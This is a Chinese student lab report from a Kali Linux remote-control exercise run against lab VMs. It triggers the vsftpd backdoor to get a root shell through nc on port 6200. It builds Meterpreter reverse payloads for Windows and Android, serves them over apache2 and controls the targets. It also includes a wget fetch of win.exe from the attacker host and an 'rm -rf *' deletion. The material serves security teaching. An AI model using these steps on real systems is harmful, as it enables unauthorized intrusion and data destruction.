目录
2.2.3.1 生成windows系统下的被控端并进行远程控制
2.2.3.2 生成android系统下的被控端并进行远程控制
一、概念和相关技能介绍
概念:远程控制是一种技术,允许用户从远处控制和操作设备。
- 通信技术:远程控制需要使用通信技术来将控制指令从控制端发送到被控制设备。常见的通信技术包括无线技术(WiFi、蓝牙等)、有线网络(以太网)以及移动通信网络。
- 传感与控制:被控制设备需要装备传感器来感知环境和状态,并且能够根据控制指令进行相应的操作和控制。例如机械臂需要安装位置传感器和电机。
- 通信协议:控制指令和被控制设备状态信息需要根据某种标准化的通信协议进行编码和传输。常见的协议有TCP/IP、UDP等。
- 人机交互:远程控制系统需要提供人机交互接口,让用户通过界面发出控制操作。常见的界面包括桌面软件、手机APP、声控等。
- 时延与延迟:通信网络的时延和延迟会影响实时性,对于需要高实时性的控制而言,这是关键技术指标。
- 安全性:远程控制系统需要考虑信息安全问题,防止未授权访问和控制。可以采用加密、认证等手段保障系统安全。
- 应用场景:远程控制广泛应用于工业机器人控制、无人机控制、智能家电等领域。不同应用场景对系统有不同要求。
二、实验操作
2.1实验目的
(1)了解漏洞渗透模块。
(2)了解远程控制程序。
(3)掌握如何在Kali Linux 2中生成被控端。
(4)掌握如何在Kali Linux 2中启动主控端。
(5)掌握Meterpreter在各种操作系统中的应用。
2.2实验开展
2.2.1为什么6200端口变成了一个“后门”
Netcat工具的使用:(以Metasploitable 2的80端口为例进行测试)
(1)使用Netcat扫描某IP地址的指定端口
nc -v 192.168.1373180 80
(2)使用Netcat连接指定IP地址的指定端口
nc 192.168.137.138 21
I:激活笑脸漏洞,使其开启6200端口:
编写python脚本(文件名:backdoor.py):
执行并验证:
nmap -p 6200 192.168.137.138
I: 显示指定目录下的内容
nc -v 192.168.137.138 6200
whoami
root
uname -a
pwd
/
ls
2.2.2 远程控制程序基础
1、远程控制程序:被控端 + 主控端
2、远程控制软件分类:
按连接方式分:正向、反向(注意:现在大都采用反向远程控制方式)
按目标系统分:Windows、Androd、iOS、各种版本的Linux操作系统。
2.2.3 如何使用MSFPC生成被控端并进行远程控制
在Kali 2中生成被控端的工具:MSFPC(msfvenom的优化版)
2.2.3.1 生成windows系统下的被控端并进行远程控制
测试windows系统实验使用的网络环境,填写以下IP地址:
测试用windows系统(WinXPenSP)的IP: 192.168.137.129
测试用windows 7系统(32位Windows7)的IP:
虚拟机Kali Linux 2的IP: 192.168.137.136
步骤一:生成Windows操作系统下的被控端
Msfvenom --list-options -p windows/meterpreter/reverse_tcp
步骤二:把被控端放到kali的网站主目录下,启动apache2,到目标靶机(WinXPenSP3)下载被控端并运行
1、把被控端放到kali的网站主目录下
2、启动apache2
检查apache2服务是否启动
3、到目标靶机(WinXPenSP3)下载被控端并运行
(1)给被控端改一个好记的名字。
(2)在目标靶机下载被控端
(3)运行被控端
步骤三:在kali中运行主控端
配置对应的主控端
msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
步骤四:控制目标靶机一(WinXPenSP3)
- 查看会话,并选择会话。
2、列出当前目录下的所有文件等。
3、打开cmd执行各种命令,如查看文件夹内容、操作系统信息、关机。
Shell
设置1000毫秒后关机,并弹出提示信息“hello!”。
4、退出shell
步骤五:类似上述操作,控制目标靶机二(32位Windows7)
- 在kali中使用background命令回到主控端控制台。
2、到目标靶机(32位Windows7)下载被控端并运行
3、在kali中是否自动打开?
4、查看并选择会话,控制32位windows7。
sessions
sessions 12
5、打开cmd执行各种命令,如查看文件夹内容、操作系统信息、关机。
(1)输入shell
(2)查看操作系统信息
(3)延时关闭系统并显示提示信息
shutdown -s -t 1000 -c "hello"
6、退出shell,关闭所有会话。
如果要结束会话1,使用什么命令?
seessions -k 1
1
2.2.3.2 生成android系统下的被控端并进行远程控制
测试android系统实验使用的网络环境,填写以下IP地址:
测试用android系统的IP: 192.168.137.142
虚拟机Kali Linux 2的IP: 192.168.137.136
步骤一:生成android操作系统下的被控端
msfpc apk https
步骤二:把被控端放到kali的网站主目录下,启动apache2,到目标靶机(安卓虚拟机)下载被控端并运行。
1、把被控端放到kali的网站主目录下
将被控端改名为:android
2、启动apache2
检查apache2服务是否启动?
如果没有启动,启动apache2。
systemctl start apache2
systemctl status apache2
2.到目标靶机(安卓虚拟机)下载被控端并运行
(1)在目标靶机(安卓虚拟机)下载被控端
(2)运行被控端
更改设置:允许安装来自未知来源的应用。
更改之后,再次运行被控端,并选择打开。
步骤三:在kali中运行主控端
配置对应的主控端(一定要用root身份运行)
安卓机运行被控端之前,如下图。
msfconsole -q -r '/root/android-meterpreter-stageless-reverse-https-443-apk.r
安卓机运行被控端之后,如下图。
步骤四:控制目标靶机(安卓虚拟机)
1.查看会话,并选择会话
sessions
sessions 1
输入shell,执行各种命令,如查看操作系统信息、切换到root用户等。
查看当前用户帐号。
查看操作系统信息。
切换到root用户
(1)在安卓虚拟机中弹出提示信息,选择“拒绝”。
在kali中可以看到操作结果是什么?
(2)在安卓虚拟机中弹出提示信息,选择“允许”。
在kali中可以看到操作结果是什么?
在kali中输入whoami,显示当前用户。
切换为root用户之后,可以对安卓机进行最大权限的控制,比如关闭selinux、读取文件等。
whoami 显示当前用户
root 进入管理员用户
I:当前安卓机的selinux状态:许可
II:尝试在Download目录下载一个windows的被控端。
切换到Download目录,查看当前目录的所有文件:
下载windows的被控端win.exe
wget http://192.168.137.136/win.exe
III:删除Download目录中的所有文件
rm -rf *
- 退出
三、心得
通过这次实验让我了解到,远程控制技术是一种非常便捷和高效的远程管理方式,可以让用户在不同地点之间进行实时的数据传输和操作。在远程控制中,通常会有被控端和主控端两个角色,它们之间通过网络连接进行通讯和数据传输。
对于被控端来说,远程控制技术可以让用户在远程地点对自己的设备或系统进行监控和管理,无需亲自到现场操作,节省了时间和成本。同时,被控端也需要保证网络连接的稳定性和安全性,以确保远程控制的顺利进行。
对于主控端来说,远程控制技术可以让用户在远程地点对其他设备或系统进行操作和管理,提高了工作效率和灵活性。主控端需要保证自己的设备和网络连接的安全性,以防止被黑客攻击或数据泄露。
总的来说,远程控制技术为用户提供了便捷高效的远程管理方式,但同时也需要注意保护网络安全和数据隐私,以确保远程控制的顺利进行。